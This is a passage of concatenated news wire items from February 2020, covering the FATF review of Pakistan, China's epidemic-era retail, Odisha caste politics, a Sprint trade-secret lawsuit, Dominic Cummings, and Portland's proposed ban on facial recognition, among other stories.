countries with inadequate control over curbing money laundering and terrorism financing until June when the next review will take place, Pakistani newspaper Dawn quoted a statement issued by the Finance Division as saying on Friday. The global terror financing watchdog also warned Pakistan that stern action will be taken against it if the country fails to check the flow of money to terror groups like the Lashkar-e-Taiba (LeT), Jaish-e-Mohammed (JeM) among others, according to sources. The FATF in October last year decided to keep Pakistan on its Grey List for failure to curb funnelling of funds to terror groups like LeT and JeM. If not removed off the list by April, Pakistan may move to a blacklist of countries that face severe economic sanctions, such as Iran. The plenary noted that Pakistan addressed only a few of the 27 tasks given to it in controlling funding to terror groups like LeT, JeM and the Hizbul Mujahideen, which are responsible for a series of attacks in India. The FATF said Pakistan has to swiftly complete its full action plan by June, the source said. India has been maintaining that Pakistan extends regular support to terror groups like LeT, JeM and the Hizbul Mujahideen, whose prime target is India, and has urged the FATF to take action against Islamabad. Source: Xinhua| 2020-02-21 19:40:25|Editor: huaxia Video Player Close BEIJING, Feb. 21 (Xinhua) -- Despite the bite of the novel coronavirus outbreak, market players in China are braving the epidemic with quicker steps to upgrade their products and services to bet on a consumption boom after the epidemic ends. Since the beginning of the holiday, retail giant Carrefour has seen order volume in vegetables and fruits increase over 600 percent year on year thanks to its boosted services to deliver within one hour for consumers from zones of less than 3 km. The firm's departments in operation, supply chain and procurement have coordinated to ensure daily necessities' supply, with thousands of staff transferred temporarily to aid delivery work. "Facing the outbreak, it is a whole different ball game for fresh food retail," said Tian Rui, CEO of Carrefour China. Besides retail, the country's consumption industry is gathering transformation steam across the board thanks to recovering logistics and businesses, as well as supportive policies. Enterprises in retail and catering sectors were encouraged to run outdoor stalls and open-air markets and use group purchases, according to a circular released by the Ministry of Commerce (MOC). The circular also stressed efforts to boost online consumption, guide e-commerce firms to better meet people's new demands with big data and expand online sales. Industrial giants are taking the lead in business adjustments, such as the rollout of non-contact delivery services and the promotion of virtual reality salesrooms and online product launches. In one of the hardest-hit sectors, many restaurants take to food delivery to keep business going. Some even put their chefs on livestreaming platforms to pitch dishes or sets of half-prepared ingredients while offering cooking tips. For China, a broad market with nearly 500 million online shoppers, e-commerce accounted for 24 percent in the retail sector and held a higher proportion among young people, said Ira Kalish, the chief global economist of Deloitte Touche Tohmatsu Limited, noting that China is the most important market for consumer-facing companies worldwide. In response to the effects of COVID-19 on China's consumption, MOC official Wang Bin said at an online press conference that it would not dent the long-term stability and continuous upgrade of China's consumer market. Wang estimated the epidemic impact to peak in February and consumption to bottom out in March, while the market would recover in the second quarter and further pick up in the latter half of the year. The outbreak will only dampen short-term consuming demands, and would not drain the sector's growth momentum, said Guotai Junan Securities in a research note. "However, the market landscape might change, as it will be the survival of the fittest." Security forces on Friday arrested three overground workers of militants in Jammu and Kashmir's Shopian district, officials said. Three overground workers (OGWs) of militants were arrested from the Heff area of Shopian in the morning, they said. The arrested persons have been identified as Shahid Ahmad Bhat, Zahoor Ahmad Padder and Bilal Ahmad Tell, the officials said, adding the trio was in their early twenties. One pistol and some ammunition rounds of various rifles were seized from their possession, they said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BAKU, Azerbaijan, Feb. 21 By Rufiz Hafizoglu - Trend: Turkey's cement exports to Georgia increased in January 2020, Trend reports with reference to Turkish Trade Ministry. Turkey exported cement worth over $3.2 million to Georgia in January 2020, which indicates an increase of 28.22 percent, compared to January 2019. Cement exports from Turkey to Georgia grew by 17.22 percent in 2019, compared to 2018 export figures, and amounted to over $52.6 million Turkey's total cement exports amounted to over $3.5 billion in 2019, having increased by 17.8 percent, compared to 2018. Cement exports accounted for 1.9 percent of the Turkey's total exports in 2019. --- Follow the author on Twitter: @rhafizoglu The alacrity with which the ruling Biju Janata Dal got the Odisha State Backward Classes (Amendment) Bill passed in the state assembly early this week enabling the Backward Class Commission survey of the social and economic conditions of the backward classes in the State surely took opposition parties by surprise. Tabling the Bill, Chief Minister Naveen Patnaik said it was important to have reliable data about the Backward Classes of the State. But unfortunately, the State doesnt have access to any recent data on this as the last census was done in 1931 which is almost 90-year old. This data is not enough for accurate and focused planning to reach out to the Backward Classes of the society, he said. Faced with a political googly from Patnaik, the opposition could do little but support it unanimously. Caste has never been a factor in Odisha politics unlike the northern Indian States of Bihar and Uttar Pradesh or southern States like Karnataka. Though other backward castes account for 54 per cent of the states population, they have never ever voted en bloc in the past. For that matter, the tribal and Dalits, who form 24 per cent and 17 per cent of the States population respectively, have never voted along caste lines though they have supported BJD due to its specific welfare schemes for SCs/STs. There has not been any serious caste-based campaigning in any of the elections. The ruling Biju Janata Dal which has been winning successive assembly elections since 2000 (first two elections in alliance with the Bharatiya Janata Party) has over the last couple of elections formed a woman vote bank through schemes like Mission Shakti. In the 2019 assembly election, the party won a handsome 113 seats with 44.6 per cent vote share, its highest so far. BJP, which has been mounting a stiff challenge since its sterling performance in the 2017 panchayat polls, was way behind with only 23 seats. So, what prompted Naveen Patnaik to play the caste card? Political analysts say, though the BJP is unlikely to pose an immediate electoral threat to the BJD, the party did not want to leave anything to chance. BJP is still the No 2 party in Odisha with 32.6 per cent vote share gathered in 2019 polls and its rise has been the most dramatic despite listless local leadership. In 2014 polls it had won about 18 per cent votes. BJD is acutely aware that Odisha is firmly on the BJPs radar and the party may play the OBC card in the forthcoming polls. In the last Lok Sabha election, BJP stressed much on PM Modis OBC roots. Union petroleum and steel minister Dharmendra Pradhan, the partys leading face in the State is also an OBC leader. The OBC Commission is a clever ploy by the BJD to deny BJP the first movers advantage in the race for backward class votes, said Prabhat Mohanty, political science professor in Koraput. Last month the State cabinet had passed a resolution requesting the Centre for enumeration of Socially and Educationally Backward Classes and Other Backward Classes/Castes during the 2012 general census, a proposal which was later turned down by the Ministry of Home Affairs. The BJDs fear of the BJP catching it unaware on the OBC front was not without a reason. Early this month, the chairman of National Backward Class Commission Bhagwan Lal Sahni during his visit to Odisha had slammed the State government for not having an OBC commission though the Odisha State Backward Classes Bill was passed in 1983. Too politically astute to not see through the BJPs game plan, Patnaik may have decided to strike preemptively. Many say Patnaiks action is to prevent consolidation of Paikas or Khandayats (a militia caste) behind the BJP as a result of the partys efforts in the last few years through several events including the 200th anniversary of the famous Paika rebellion against the British and a memorial for the fallen Paikas on the foothills of a mountain near Bhubaneswar. Khandayats are the martial race of Odisha who are also numerically superior with 22 per cent population. Though they figure in the Odishas list of SEBCs, they are not in the central list of OBCs and hence excluded from any reservation. Activist Manoj Jena reasons that the survey by the OBC Commission may be a clever strategy to induct the Khandayats in the OBC list but exclude the creamy layer among them so as to prevent their future consolidation behind the BJP. He has already built the women vote bank, but it may be transient. The youth may not back his party in the next polls considering high unemployment. The caste factor may just help him, said Jena. Former union minister Srikant Jena, himself a backward caste leader, too, says BJDs real motive was to garner more votes. Jena says now that the OBC Commission has been formed, Patnaik can sit over the issue of OBC reservation and ask everyone to wait for its report. If he really wanted to help the OBCs, his government could have gone in appeal in the Supreme Court after the Odisha High Court in 2017 struck down the Odisha Reservation of Posts and Services (for Socially and Educationally Backward Classes) Act that provisioned for 27 percent reservations for the OBCs in government jobs. This is just public posturing, said Jena. Monday 05 September, 2016 Reliable information reaching Biafra writers desk has it that the life of Nnamdi Kanu, the leader of the Indi... Sprint Corp. has now reportedly opened a new lawsuit against two former executives, alleging that the former employees stole VoIP patents and trade secrets. The former workers are listed in the court documents as Paul Woelk and Craig Cowden. The property misappropriated primarily centers around VoIP technologies that the long-time employees had direct access to. For clarity, those are technologies used in making calls directly over internet protocols. The Sprint lawsuit involves no fewer than three telecommunications companies. Those are companies the executives are claimed to have worked with to steal the information. The companies in question are Charter, Bright House, Time Warner Cable. The latter two companies are now owned by Charter Communications Inc under the umbrella of the companies Spectrum branding. Advertisement What evidence is there that the former Sprint employees stole VoIP trade secrets and IP? Sprint first accuses Mr. Woelk and Mr. Cowden of disclosing confidential information to Bright House while they were still under employment with the company. After handing over that information, the two proceeded to leave Sprint and took employment at Bright House. The former executives took further trade secrets and IP with them when they left, Sprint claims. But there is fairly strong evidence in this particular case well beyond the claims themselves. Last fall, the court documents explained, Charter was forced to notify Sprint about findings on Mr. Woelks work computer. Advertisement Specifically, there were approximately 3,500 such documents discovered on the Charter-owned machine. Those were stored in a folder, the suit claims, that was titled Sprint My Documents. Charter refers to those documents as Sprint documents with no legitimate reason to be at Charter. Mr. Woelk presently holds a position as the companys vice president of business operations. No details regarding the exact nature of the intellectual property found on Mr. Woelks computer have been reported. But the evidence here does seem to point to a fairly strong case for Sprint, which has historically done well in the courts. What repercussions could stem from this case? Specifics regarding the possible outcome of the case have not been disclosed either. However, this will likely be significant for Sprint before it is absorbed by T-Mobile if the documentation holds its weight in court. According to Sprint, the VoIP networking industry grew substantially from the time the IP and trade secrets were established through today. The VoIP industry is a $100 billion-plus industry, Sprint says. Advertisement As a result, Sprint was potentially put out by a sum amounting to billions of dollars. The carrier claims that the misappropriation caused Sprint to lose customers. It also cost revenue, profits, and future business it could have used to reinvest even further in this and other emerging technologies. Sprint could stand to net a sizable amount of money from the case if it wins. That would be a blow to Charter and subsidiary carriers Spectrum brand. But a win would also be a windfall for Sprint since the carrier agreed to sell off a significant portion of its own assets in order to push the merger with T-Mobile through. Ministers should 'shut up' and stop 'whingeing' about Dominic Cummings because he is a 'mastermind' and they owe their jobs to him, says a former Tory minister. Lord Blencathra said ministers should 'quit' if they don't want to work with Boris Johnson's aide and instead make way for those who 'see the bigger picture'. Mr Cummings has been accused of operating like he is in charge of an 'authoritarian regime' as ministers were in growing revolt over his behaviour following the reshuffle. Ministers should 'shut up' and stop 'whingeing' about Dominic Cummings because he is a 'mastermind' and they owe their jobs to him, says a former Tory minister Special advisers past and present said Boris Johnson's chief aide had created a toxic atmosphere in No 10 as he 'ruled through fear rather than respect'. And Sajid Javid's decision to quit last week was the culmination of a bitter internal battle for control with Dominic Cummings - that the Chancellor ultimately lost. The camps in No10 and No11 were in a barely-concealed state of war for months, with increasingly brutal briefing. However, Lord Blencathra, who as David Maclean was a Home Office minister in John Major's government, hailed Mr Cummings as a 'mastermind'. Mr Cummings has accused of operating like he was in charge of an 'authoritarian regime' as ministers were in growing revolt over his behaviour following the reshuffle He told the The Telegraph: 'Ministers should shut up about Cummings. Not a single one of those whingeing about him would be ministers without him. 'We would not be out of the EU without him masterminding the Leave campaign, and we would not have won the General Election without his Get Brexit Done plan. He is a genius, and our majority is largely due to him.' 'If they don't want to work with him then they should quit their posts and let others, who see the bigger picture, do their jobs instead.' It comes as Mr Cummings suggested the NHS should cover the cost of selecting babies to have higher IQs. It comes as Mr Cummings suggested the NHS should cover the cost of selecting babies to have higher IQs, it emerged last night Boris Johnson's aide said rich would-be parents would inevitably select embryos with the 'highest prediction for IQ'. In a 2014 blog post on 'designer babies', he also floated the idea that a 'national health system should fund everybody to do this' to avoid creating an unfair advantage for the wealthiest in society. His comments, uncovered by the Guardian, surfaced after a row over No 10's decision to hire an adviser with eugenicist views after Mr Cummings put out an advert for 'misfits and weirdos'. Growing anger with Mr Cummings culminated this week in his new adviser Andrew Sabisky leaving. Mr Sabisky, who once suggested enforcing the uptake of contraception to stop unplanned pregnancies from creating a 'permanent underclass', announced he was standing down on Monday evening. He said he did not want to be a distraction to the government after previous comments made by him, including that black people had IQs that were 'close to the typical boundary for mild mental retardation', were unearthed. Ministers said Mr Sabisky 'jumped before he was pushed' following a slew of 'reprehensible' past comments. MIAMI, Feb. 21, 2020 /PRNewswire/ -- Istituto Marangoni Miami, the School of Fashion, has joined forces with the Italian Consulate to host a series of events starting in February 2020. The first event includes a visit from the Ambassador of Italy. This community effort is aimed at recruiting, developing, and retaining entrepreneurs and students to influence the Italian culture in Miami. Further, its effort is to help endorse the fashion industry in the city, which is a major hub for fashion. Istituto Marangoni Miami has been in operation for two years in the heart of the Design District. The school's beautiful seven-floor building is the venue for the Ambassador of Italy's visit on Feb. 19, 2020. Entrepreneurs will come together to network and discuss ways to improve the Italian influence in fashion, design and culture in the Miami market. "We are honored to be one of the few Italian schools in the USA to help promote fashion design and culture in Miami," said Stephen V. Iacullo, JD, Campus Director of Istituto Marangoni Miami. "Our School is led by an outstanding faculty who are actively involved and working in the fashion industry. We are excited to build on the excellence of our programs and our efforts to recruit and prepare exceptional students. We are honored to partner up with the Italian Consulate to help build the success of the Italian influence in business for Miami." Furthermore, the school has partnered with many organizations in the city to establish strong relationships in the community. The fashion community is still at an early stage in Miami, and it needs a driver to help the city become more of a fashion icon. The need for partnerships is the model of the Italian culture to help all businesses to succeed. Hakan Baykam, CEO and Founder of Istituto Marangoni Miami, said, "The community isn't just voicing their concern about the need for fashion and design in Miami. They are needing strong partners to assemble and to make measurable commitments to solving a complex need for the city and community. We hope businesses and partners will come to us to help this philanthropic vision for Miami." Istituto Marangoni Miami aims at creating scholarships and fundraising for the city's fashion community with hopes of educating talented people and to keep their talents in Miami. These talents will help grow new companies, businesses, and commerce for Miami's community. https://istitutomarangoni-miami.com About the Istituto Marangoni Miami Education Program: Istituto Marangoni is an internationally renowned, innovative, private fashion design school leading to an Associates in Arts in Fashion Design or a Bachelors of Arts in Fashion Design and preliminary aims to cultivate students who share a set of core values that includes a commitment to fashion design with an approach to teaching and learning that is focused on community. For more information please contact: Stephen Iacullo, JD School Director [email protected] 305-424-9434 Related Links Istituto Marangoni Miami SOURCE Istituto Marangoni Miami Related Links https://istitutomarangoni-miami.com Opalesque Industry Update - Credit Suisse Asset Management's NEXT Investors, a leading Fintech growth equity group, announced today the acquisition of the NorthPoint product suite and technology consulting practice from ACA Compliance Group (ACA), a leading global provider of governance, risk, and compliance advisory services and technology solutions. NorthPoint will be wholly-owned by a new business intelligence company, Portfolio BI. Jeremy Siegel will be appointed as CEO of Portfolio BI, effective immediately. ACA will retain its RegTech solutions, including ComplianceAlpha and its Regulatory Reporting software, and ACA will partner with Portfolio BI to service mutual clients. NorthPoint Solutions was founded in 2003 and acquired by ACA in 2014. The product suite includes mission-critical financial software and services to leading investment management firms. NorthPoint offers an Investment Management suite which includes an Order Management System (OMS), Portfolio Management, Data Warehouse, Security Master, and Price Master. NorthPoint also offers a full suite of professional services, and has provided solutions to over 150 investment managers. Alan Freudenstein, Co-Head and Portfolio Manager of NEXT Investors at Credit Suisse Asset Management said, "We are pleased to welcome the NorthPoint team and Portfolio BI to NEXT Investors' portfolio of companies. NorthPoint's comprehensive product suite-spanning order management software to portfolio management -provides a differentiated offering to a growing client base that includes hedge funds, allocators and asset managers. We're excited about the opportunity for growth in this vertical, as financial institutions continue to embrace new technology and tools to solve their operational and client needs." Raj Bakhru, Chief Innovation Officer at ACA said, "The NorthPoint product suite fits well within the vision and technology offered by Portfolio BI. As we continue to focus on ComplianceAlpha, our regulatory technology platform, we look forward to continuing a close relationship with Portfolio BI and plan to provide exemplary service to our mutual clients." Jeremy Siegel, who serves as CEO of LUX Fund Technology and Solutions, a business and technology solutions provider for the alternative asset industry, will concurrently lead Portfolio BI. Jeremy brings 24 years of experience in financial services with specific expertise in supporting hedge funds globally to grow their businesses through technology, operations and institutional systems. Credit Suisse Asset Management's NEXT Investors identifies minority growth equity investment opportunities in private technology and services companies globally where the team has domain expertise and actionable edge. The team's portfolio comprises high-growth private businesses that interact with the financial services industry across sectors including Market Structure, Financial Technology, Enterprise Software, Data Analytics and Specialty Finance. Canaccord Genuity acted as financial adviser to ACA. Lowenstein Sandler LLP represented ACA in connection with the transaction. Map of Sonora homeless camp where portable toilets would be installed View Photo Sonora, CA In tandem with efforts to expand services for the local homeless, officials confirm they are addressing potential health-hazard violations at an encampment near downtown Sonora. Among expanding collaborative partnerships and outreach efforts, as reported here, the Tuolumne County Board of Supervisors recently approved using funding provided through a Behavioral Health Department grant award to create a dedicated county staff position to serve as a coordinator. Other notable actions specifically involving the camp, which is located off Stockton Road, have included Sonora City Council and Give Someone A Chance organizers, who also operate a free shower bus service, collaborating on the installation of portable toilets at the camp, which is located off Stockton Road. It was later approved with the Amador-Tuolumne Community Action Agency (ATCAA) also agreeing to chip in funds. This week, County Community Development Department Director Quincy Yaley acknowledged to Clarke Broadcasting potential health hazard-related issues being investigated in connection with the privately-owned property locally dubbed Camp Hope. Explaining the process, she shares, Typically what happens is that we receive a complaint regarding some type of violation on a property, and it could be related to a buildingland useor environmental health, and at that point, we take the complainants information and it is all done anonymouslypeople do not need to record their name or information if they choose not to. At that point, she says, We identify what is going on at the site and what violations there are if any or ordinance codeor health and safety code. We then notify the property owners if they have a violation. The code compliance process in the event of a non-compliant owner would result in a public notice. Yaney stresses, It is always our goal to work collaboratively with property owners to reach solutions but the investigation is confidential while we are working with that property owner. So far, she says the county has met with the property owners, the Give Someone A Chance advocacy group, which provides assistance relating to the camp, and the Cal-Recycle state agency to help resolve the concerns. Two Below Deck Mediterranean deckhands just showed off their serious music skills when they collaborated on a new song hundreds of miles apart. Malia White, Hannah Ferrier, Bobby Giancola, Adam Glick, Sandy Yawn, Wes Walton, Lauren Cohen, Max Hagley, Bugsy Drake |Virginia Sherwood/Bravo/NBCU Photo Bank/NBCUniversal via Getty Images Viewers anticipated Colin Macy-OTooles post-episode raps when he was on Below Deck Med. Macy-OToole always had an amazing knack for summarizing the hour-long episode into a neat, toe-tapping package. He usually works alone, but recently collaborated on a fun tune with Bobby Giancola from season one and two. Macy-OToole lives in New York, whereas Giancola lives in South Florida. Giancola is an experienced songwriter and guitarist. The song, New Horizons is extremely catchy and Macy-OToole told Showbiz Cheat Sheet they created it pretty quickly. He just made a jingle and sent it to me via email, he shared. It took us like an hour [to create]. Fans are here for this collab The song is such a blast some fans want the guys to tour. Macy-OToole shared the song on Instagram. New Horizons Bobby Giancola (@bgcola28) (Feat. Colin Macy-OToole) Happy Thursday everyone! Heres a little jam @bgcola28 came up with to brighten your day. Enjoy! he captioned the video. One fan wrote, I see a road tour in your futures . Another person added, Amazing track guys so upbeat hope you put in spotify. Giancola also shared the video and an image. A fan wondered how the two recorded the music. What did you use to record this? Some friends of mine have been looking for a way to jam remotely. Giancola responded, I used garage band. Starting to get a hang of it a little. I wanted to ya @avid.protools but its not compatible with the new Mac update . Giancola has performed live in South Florida. He shared a sweet photo rocking out in Ft. Lauderdale at Revolution Live. So this happened last night! What an amazing feeling to be back on a stage again and rocking out in front of a great crowd! Thank you so much for the opportunity @savedbythe90s @thegregoryjames @cballerano @jaketover that was so fun and Im ready to do it again anytime! And thanks @brittanylemirephotography for the epic pictures! Macy-OToole has had quite a few hits Fans are seriously missing Macy-OTooles musical recaps. When chef Mila Kolomeitseva left the show, Macy-OToole wrote hilarious song lyrics about her time on the show to the song Bohemian Rhapsody. Needless to say, fans were busting a gut when they heard the lyrics. Mila almost killed a man, Macy-OToole smoothly sang. Thought Id be your biggest fan, then you made fish from a can. Macy-OToole is also responsible for the infamous June, June, Hannah song too. Stew June Foster seemed to never be able to hear chief stew Hannah Ferriers call her on the radio. So fans often heard Ferrier constantly calling, June, June, Hannah. Macy-OToole always shared his raps on social media and captioned this one too. Due to high demand, here is my #belowdeckmed rap recap for episode 10, June, June, Hannah. Enjoy! Macy-OToole cleverly summarized the episode in his rap but injected June, June, Hannah into pretty much every aspect of the song, which had fans rolling. Oh my, laughing so hard in MN, one fan responded. It took a few moments before Eduardo Carrillo could step into a Jacksons Food Store in Northeast Portland on a recent weeknight. He stood in front of the locked gas station convenience store door, placed his feet on designated spots on a doormat and looked up into a camera. The door then unlocked. Other customers experience wasnt as smooth. One man yanked on the door repeatedly while looking at the handle in apparent confusion -- until an automated womans voice rang out from an overhead speaker. Please look at camera for entry. Jacksons use of facial recognition technology could soon be outlawed in Portland. City officials are considering the strictest ban of the technology in the country, prohibiting its use not only by government agencies but also private businesses. Facial recognition technology typically uses a camera and software to analyze human faces to identify or verify a persons identity. The technology can compare a scan with an already existing database of images, such as jail booking photos or government identification records. There are no federal rules regulating facial recognition technology or whats done with data obtained through its use, which city officials say is forcing them to follow the lead of other cities and institute their own rules. The state of Oregon already bans police from using body cameras with facial recognition technology. San Francisco, Oakland and Berkeley are among those that have banned use of facial recognition by police departments and other local government agencies. Portland officials have proposed similar prohibitions for public agencies. The proposed ban on private businesses use of such technology is expected to prevent businesses from collecting, using or storing peoples facial or biometric information gathered in spaces open to the public, such as parks or grocery stores. Portland officials point to concerns over residents civil rights and privacy as reasons for the bans. They also cite studies that show the technology shows racial and gender bias. We felt a moral obligation to develop a broader approach, recognizing that any use of a surveillance technology that is biased against people of color, lacks consent, lacks due process and can be used on minors is unacceptable, said Hector Dominguez, an open data coordinator in the citys Bureau of Planning and Sustainability. The ban wouldnt apply to private use, such as the Face ID feature on iPhones. Some business advocates say city officials should consider a temporary ban on specific uses of facial recognition software, rather than a blanket ban on the technology itself. The technology does have positive uses and evolves so fast that negative impacts may quickly be reduced, said Technology Association of Oregon President Skip Newberry. Talking to some businesses that we work with as well as the broader business community, there are definitely some who would be opposed to the city restricting their ability to use that technology, he said. It can range from security of sites or critical infrastructure to people coming into a store and it being used to provide an experience tailored to that individual. Jacksons officials, for example, say they use the technology at three stores in Portland to help protect employees and customers from people whove threatened clerks or shoplifted. Carrillo said he frequents the Jacksons at Northeast Sixth Avenue and Broadway Street a few times a week on his way home from work, so the recently installed facial recognition camera is no longer a surprise to him. The Vancouver resident said the technology fascinates him because it reminds him of gadgets he has seen in movies. He wonders, though, what happens after he walks into the store. I dont know where the pictures of my face go, Carrillo said. Facial recognition as a deterrent Portland officials said they dont know of any businesses in the city beside Jacksons that use facial recognition technology. Jacksons has more than 250 stores in Arizona, Idaho, Nevada, Oregon, Utah and Washington. Oregon is home to 56 locations and 16 of them in Portland. But the company only uses facial recognition at three Portland locations: 621 S.E. Grand Ave., 15 N.E. Broadway and 519 N.E. Broadway, said spokesman Russ Stoddard. The Grand Avenue location went first, in November 2018 and the other two in October. At each location, a camera and speaker are perched above the doors. A sign tells people to look at the camera to get inside and that facial recognition is in use. The camera captures their image and unlocks the door. Each photo is matched against images of past customers, Stoddard said, and if one matches a picture of someone Jacksons has flagged at that location, the door stays locked. Weve found that it precludes certain types of behavior, because they see the camera and sign on the front door and know this is not a place to cause a ruckus, Stoddard said. Two other stores in Tacoma also have the technology. The stores are all open 24 hours. The facial recognition cameras operate from around 8 p.m. to 6 a.m. The company chose the five stores based on repeated reports from employees about threats, theft or drug use, Stoddard said. He estimated that each location gets 100 to 200 customers a night. The images are sent to a private server at the companys headquarters in Meridian, Idaho, he said. They are stored for 48 hours and automatically deleted unless flagged by an employee, Stoddard said. Company officials review security footage from the store to confirm a flagged image should be kept. Flagged images are kept in the companys system forever, Stoddard said. In the 15 months that the device has been used, just two images have been stored, one from Portland and another from Tacoma, Stoddard said. He declined to say what led to the images being held or to disclose any other details about the people involved. Stoddard said he didnt know of any cases in which the technology misidentified anyone. We understand this is a very complicated and controversial societal issue, but our focus has always been to increase the safety of employees and customers in locations where there has been misbehavior in the past, Stoddard said. Were aware the City Council is looking at this issue and ultimately, we would comply with whatever the city chooses to do. Jacksons doesnt sell the images or give them to third parties, according to Stoddard. However, he said the company would consider providing images to police in connection with serious crime investigations, if they were to ask. Jacksons facial recognition product, called First Line, comes from Missouri-based software company Blue Line Technology. The company touts the product as developed by law enforcement veterans and markets it for places including schools, banks, high-end condos, government buildings and hospitals. Blue Line Technology did not respond to requests for comment. The camera captures 30 digital frames per second and images can be added to the database in less than 30 seconds, according to the companys website. People who are scanned are classified as known, unknown and alert via the cameras real-time video feed. You can add custom notes such as known shoplifter and instructions for responders such as call police, or greet, so he knows youre watching, the website says Delta Airlines uses facial recognition technology at Portland International Airport to screen passengers boarding non-stop international flights, a spokesperson told The Oregonian/OregonLive. The company scans faces to match them with pictures from photo IDs and passports. Customers can opt out and have their boarding documents checked by a gate agent instead, the spokesperson said. Reducing harm Portlands proposed ban on facial recognition technology is part of a bigger effort to shape technology policy in a way that reduces harm to marginalized communities, Dominguez said. The city council has held two work sessions since September about facial recognition technology. Officials will hold two community meetings later in February and in March to generate feedback. Dominguez said the goal is for his bureau and the Office of Equity and Human Rights to propose drafts of both the public and private bans for the public to see in March, then final versions for the council to vote on around April. We are using the word ban, but we consider it more as us putting the brakes on this technology in the city for now so we can create a space for developing a capacity for better understanding all this emerging technology. he said. We see this as a process and as the technology evolves, we need to evolve as well. During a January city council discussion, Portland Police Assistant Chief Ryan Lee said the bureau doesnt use facial recognition now but may want to in the future. Lee said potential uses of facial recognition include reducing the risk of misidentifying people accused of crimes and decreasing the time it takes to comb through suspect photos in databases. The technology could be a public safety asset if properly managed, he said. The technology is advancing in this field, and an outright ban could be detrimental to a point when the technology evolves that we should be looking to adopt, Lee said. The Washington County Sheriffs Office since 2017 has used a facial recognition tool from Amazon that allows deputies to check photos of unidentified people against a database of county jail booking photos taken as far back as 2001. Images taken from a security surveillance camera, social media account or a deputys cellphone are among ones that can be run through the Rekognition software to identify people. Commissioner Jo Ann Hardesty, who has led Portlands effort to ban the technology, said the issue comes down to racial justice and the communitys right to privacy. Several studies have shown facial recognition technology has various degrees of accuracy and can have higher rates of error when analyzing women or people of color. Hardesty said she began seriously considering including private businesses in the ban after learning last fall that police agencies in Washington County were encouraging residents who own Ring doorbell cameras to share video footage to help solve crimes by using an app that allows law enforcement access to the clips. She said she was concerned that the data was controlled by a third-party company, in that case Amazon, and the public had no way of knowing who had access to their data, if it was being sold or if the devices were capturing people who didnt consent, including children. My problem is that you should not have your image stored if you are not involved in criminal behavior, Hardesty said. If youre just gathering images up because people are walking by a door, to me, that is just not acceptable. Commissioners Amanda Fritz and Chloe Eudaly also said they support the bans. Eudaly said she would not back its use by any city bureau, including Portland police. Mayor Ted Wheeler, who oversees the Bureau of Planning and Sustainability, is also in favor of the ban. He said he doesnt think facial recognition technology should be used on a wide scale and that it hasnt developed enough to serve the publics best interests. He said the council might consider having a community group vet organizations that want to use the technology. Businesses would have to prove that the technologys current equity, privacy and data management issues are satisfactorily addressed. Wheeler said the use by Jacksons could possibly lead to discriminatory practices and is an example of what the city is trying to prevent. He sees a silver lining in the business claiming their employees feel safer and that thefts have decreased, but he believes it needs to be better perfected. Were not there yet, Wheeler said. None of this is possible with the technology we currently have and so we have to look to protecting the rights of our citizens above all else, especially those whove been historically underserved. Regulate or ban? Newberry, the Technology Association of Oregon president, and Jon Isaacs, vice president of government affairs for the Portland Business Alliance, said many of the companies they represent agree that the community has legitimate concerns about facial recognition that need to be addressed. But they said banning all private sector use may not be the most effective answer. They both said the city should focus more on regulating how the data that is collected is used. Facial recognition technology is only one technology among many that can be used to collect personally identifiable information, Newberry said. Youre not going to solve the bigger issue of bias and people essentially putting together a profile of someone based on data thats being collected about them just by banning facial recognition technology. Isaacs said Portland has a growing tech industry. If you want to be seen as a pro-technology city, banning technology is not an action you want to take, he said. Darren Harold-Golden, policy specialist with the Urban League of Portland, said a public and private ban on the technology would allow the community to learn more about how facial recognition is used without the threat of being inadvertently harmed by it in the interim. A ban doesnt mean forever, you can always revisit it, Harold-Golden said. But there are still significant concerns over how explicit consent is obtained and what do you do to appeal or get off a private database if youre mistakenly blacklisted. Jonathan Fink, a Portland State University geology professor and head of the schools Digital City Testbed Center, said facial recognition technology forces people to weigh trading privacy for convenience and public safety. The big question is always going to be, Do I want to give up my rights to my personal information and trust other parties who Ill never actually meet to have it? Fink said. Once you put a big system in place, its hard to take it down. Fink said he believes the city should institute a temporary ban this year and be open to reconsidering the technology and its innovations in 2021. He said Portland over the years has been both a policy leader and a stubborn holdout, and he hopes the city finds a middle ground in this case. If we stake out a position as Portland is going to be very restrictive so it can examine the questions and ethical issues around this for the benefit of the rest of the country, I think thats a real service, Fink said. But on the other hand, the city could be anti-scientific and anti-objective, like still being the only major city that doesnt fluoridate its water, and I think thats really bad. Some employees at Jacksons stores in Northeast Portland said they have seen improvements since the facial recognition technology was installed. The camera and sign appear to act as a deterrent at times. But, they say, the technology isnt foolproof. Some customers may not have their faces captured on camera when multiple people enter the store at the same time. Also, if a person steals and doesnt come back, keeping their picture on file doesnt do anything. We deal with people from all walks of life here, but no camera is going to address homelessness, mental health or drug use, said one employee who asked not to be identified because they werent authorized by the company to discuss the technology. Ervin Hester, a Portland resident who said he worked at one of the Jacksons stores until October, said he was concerned by the companys lack of transparency. He noted there isnt a process for customers to know how long their photos are held or determine if theyve been wrongly identified. Its on the employees to explain what the technology is and that could put them at risk, he said. I think these stores need it, but tell the public about why its here, where it is and be transparent about the whole process, Hester said. You dont know how some people are going to react when they find out after the fact that the camera they thought was only recording video is actually out here scanning and downloading their face. -- Everton Bailey Jr; ebailey@oregonian.com | 503-221-8343 | @EvertonBailey Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Nearly two years after the arrest of the suspected Golden State Killer revitalized DNA forensics, some state lawmakers around the country are pushing to stop or restrict police searches of genetic code databases. Other lawmakers, meanwhile, want to make it even easier for police to use the technique, known as investigative genetic genealogy, to catch criminals. Inspired by the capture of the alleged Golden State Killer, police across the United States are uploading crime-scene DNA to GEDmatch and other databases where purchasers of genetic testing kits from companies such as 23andMe and Ancestry can share their DNA in hopes of finding long-lost relatives. Arrests have been made in dozens of cases -- many that had been considered cold. Advocates of the practice tout the ability to find people who committed horrible crimes and exonerate those who did not. I believe, 100%, that DNA is the greatest tool ever given to law enforcement to find the truth, whatever that is, said Anne Marie Schubert, independent district attorney of Sacramento County, California, where the suspected Golden State Killer was arrested. But law enforcements use of the DNA databases has opened another front in the growing battle over digital privacy. Should third parties -- in this case, police -- have access to personal data people generate by using consumer technology? And should investigators be allowed to use the technique to solve all crimes, or only the most violent ones? Americans are divided on whether police should use investigative genetic genealogy to solve crimes, according to a recent study released by the Pew Research Center. (The Pew Charitable Trusts funds the center and Stateline.) In a June survey of more than 4,200 U.S. adults, 48% said they were OK with DNA testing companies sharing customers genetic data with police. A third said it was unacceptable, and 18% were unsure. What we have right now we can call the Wild West. There aren't a lot of rules on the ground, 